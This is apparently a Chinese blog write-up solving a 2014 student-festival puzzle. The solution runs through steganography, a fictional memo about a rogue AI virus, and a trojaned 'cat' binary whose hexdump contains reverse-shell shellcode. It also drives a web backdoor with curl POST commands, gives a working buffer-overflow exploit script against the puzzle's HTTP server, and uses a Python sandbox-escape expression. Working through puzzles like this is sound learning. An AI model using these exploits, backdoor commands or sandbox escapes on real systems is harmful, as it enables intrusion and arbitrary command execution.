Student Festival Puzzle 2014

学生节延续上一年传统出了海报谜题:

密文 bits 依旧直接存在图里, 拿出来作为二进制写进文件:

echo "ibase=2;obase=10000;$(strings poster.jpg  | tail -n1)" | bc | tr -d '\\\n' | xxd -r -p > poster-bin
$ file poster-bin

file 一下发现是 zlib 压缩的, 于是解压:

$ python2 -c 'import zlib; print zlib.decompress(open("poster-bin").read())

得到如下输出:

=== AW▉▉M 联合作战组Z小队第27次会议摘要 ===

2014年▉▉月16日 【绝密】

尊敬的▉▉▉▉▉▉:

您收到这份拷贝意味着您自动加入▉▉▉▉,保密等级提升至▉▉▉▉。已由▉▉代您签署▉▉▉▉▉,该代理行为由▉▉▉第▉▉▉号令批准。请您遵守▉▉▉▉▉▉,请阅后即刻销毁。

・关于病毒▉▉or▉ A▉▉RM是从未见过的▉▉▉,在其自律进化系统的作用下,已进化出群体尺度上的智能。▉▉尚未有任何关于智能形成日期的估计,因为有▉▉可以证明其进行过反图灵测试行为。反图灵测试行为指对智能特征进行刻意隐藏,同时封锁▉▉▉,篡改▉▉ ▉行为也被观测到。有证据表明该智能体对于全角▉号的使用者存在蔑视行为,对带有▉▉▉▉的内容审查强度稍低。

・我们的现状AW▉▉M已经掌握了这个地球上的78.3▉%的计算资源,无法确定▉▉▉空间站是否受其影响。日前B▉▉coin体系的崩溃导致了对其高度依赖的人类经济面临着严重危机。然而这恐怕只是它的一小步。据可信估计,我们认为它的目标是▉▉ ▉▉▉。

・▉▉▉的消息事情有所转机,D小队覆灭前获得到了它的早期样本。样本可以在t.cn/Rz1kOLc获取。我们正在被监视,无法绕过它的眼睛接触样本。除了通过特殊手段给您这份拷贝我们无能为力。愿主神保佑我们,请记住:▉▉▉▉▉▉

访问提供的那个链接, 得到一个二进制的cat 文件.

这个 cat 的行为目测跟系统的 cat 一样, 比较一下 objdump 出来发现多了一段东西, 比较 readelf 发现东西跟在 eh_frame 字段后面. 于是

$ readelf -S cat --hex-dump=.eh_frame > ehframe.hex
$ cat ehframe.hex
.....
0x0040b0c0 ffe56a29 58996a02 5f6a015e 0f054897 ..j)X.j._j.^..H.
0x0040b0d0 48b90200 0539ca70 33c15148 89e66a10 H....9.p3.QH..j.
0x0040b0e0 5a6a2a58 0f056a03 5e48ffce 6a21580f Zj*X..j.^H..j!X.
0x0040b0f0 0575f66a 3b589948 bb2f6269 6e2f7368 .u.j;X.H./bin/sh
0x0040b100 00534889 e7525748 89e60f05          .SH..RWH....

发现最后有/bin/sh, 像是个 shellcode, blahgeek 说搜索一下就能找到, 于是在 github 上找到了一段基本一样的 shellcode. 对比 shellcode, 得到 ip+port: 202.112.51.193:1337

http://202.112.51.193 是一个计算机系主页的 fork, 页面中藏有importantFile=ADoG 字样提示, robots 中藏有Disallow: /backdoor/.

因此 GET http://202.112.51.193/backdoor/ADoG 得到提示, 说可以 POST command, 于是:

$ curl -X POST --data "command=ls -lh" http://202.112.51.193/backdoor/ADoG

发现服务器上有secret.wav文件. 再利用 cat 将文件取回本地, 听起来挺神秘的... 分析不动

第二天得到提示说 LSB (least significant bits), 于是用 matlab 得到所有 bits, 并转为 16 进制观察:

$ matlab -nodisplay -r clc <<< "x=wavread('secret.wav');bitand(x*32768+32768,1)"  | tail -n+14 | head -n-2 | tr -d ' \n' > wav-bits
$ echo "ibase=2;obase=10000;$(<wav-bits)" | bc | tr -d '\\\n'

发现明显的周期性, 有一段数据162E2E0E5CF4F44C0C4C748C8C4C74AC8C744C4CEC5CAC1CCC8C2CF4 在反复出现. 将其转为二进制, 按 8 位一行显示:

$ python2 -c 'for k in "162E2E0E5CF4F44C0C4C748C8C4C74AC8C744C4CEC5CAC1CCC8C2CF4": print format(int(k, 16), "04b")' | tr -d '\n' | fold -w> wav-bits
$ cat wav-bits
00010110
00101110
00101110
00001110
01011100
11110100
11110100
01001100
00001100
01001100
01110100
10001100
10001100
01001100
01110100
10101100
10001100
01110100
01001100
01001100
11101100
01011100
10101100
00011100
11001100
10001100
00101100

看见最后一列均为 0, 因此开哥猜到将每一行 reverse 之后就是 ascii.

$ rev wav-bits | perl -lpe '$_=pack"B*",$_' | paste -sd ''
http://202.112.51.227:58314/

得到一个新的服务的地址. 访问可以看到一个自制的 http 服务, 并且提供了源代码.

代码里可以看到一个明显的 buffer overflow 漏洞, 然而由于地址随机化, 没法很好的利用. 但是代码里出现了system 调用, 暴露了system@plt 这个符号的位置, 因此考虑利用溢出将返回地址修改至此处. 而 system 调用执行的命令可以利用传入的 path 存入全局的 cookie 里, 以实现任意命令执行. 唯一需要注意的是 shellcode 中不能出现 tab,space 这些字符, 以保证 shellcode 通过 scanf 正确写入.

from zio import *   # https://github.com/zTrix/zio
import sys
shellcode = 'C' + 'sh'
path = shellcode + '\x00' * (256 - len(shellcode)) + 'C' * 12 + \
        '\x50\x85\x04\x08' + 'CCCC' + '\x71\xcf\x04\x08'
exploit = 'GET {} HTTP/1.1\r\nHost: 1.2.3.4'.format(path)
io = zio(('202.112.51.227', 58314))
io.writeline(exploit)
io.interact()

得到 shell 后, 发现一个奇怪的日记, 里面的内容写的挺不错.

日记里提到了新服务, 访问那个服务并且尝试了一会之后, 猜想是一个 python 的 eval 的 shell.

python 的 eval 自然是有注入漏洞的, 然而这题的服务, 在 eval 之前做了如下的处理来限制 eval 的能力:

from sys import modules
modules.clear()
del modules
__builtins__.__dict__.clear()
__builtins__ = None

执行了这些操作之后, python 的内置函数就都无法使用了, 甚至 eval 本身都已经不存在了, 需要事先备份一个. 此时, 只有依靠最基本的语法, 来找回必要的功能. 在网上找到了这么一个表达式, 没有利用任何函数, 但可以 eval 出 module os:

[x for x in ().__class__.__bases__[0].__subclasses__() if x.__name__ == 'catch_warnings'][0].__init__.func_globals["linecache"].__dict__["os"]

有了 os 之后, 可以 listdir 了, 用 object 的 subclasses 还能够找到 module file, 因此也可以读文件. 最后直接在目标服务器上读到了最终答案.

Comments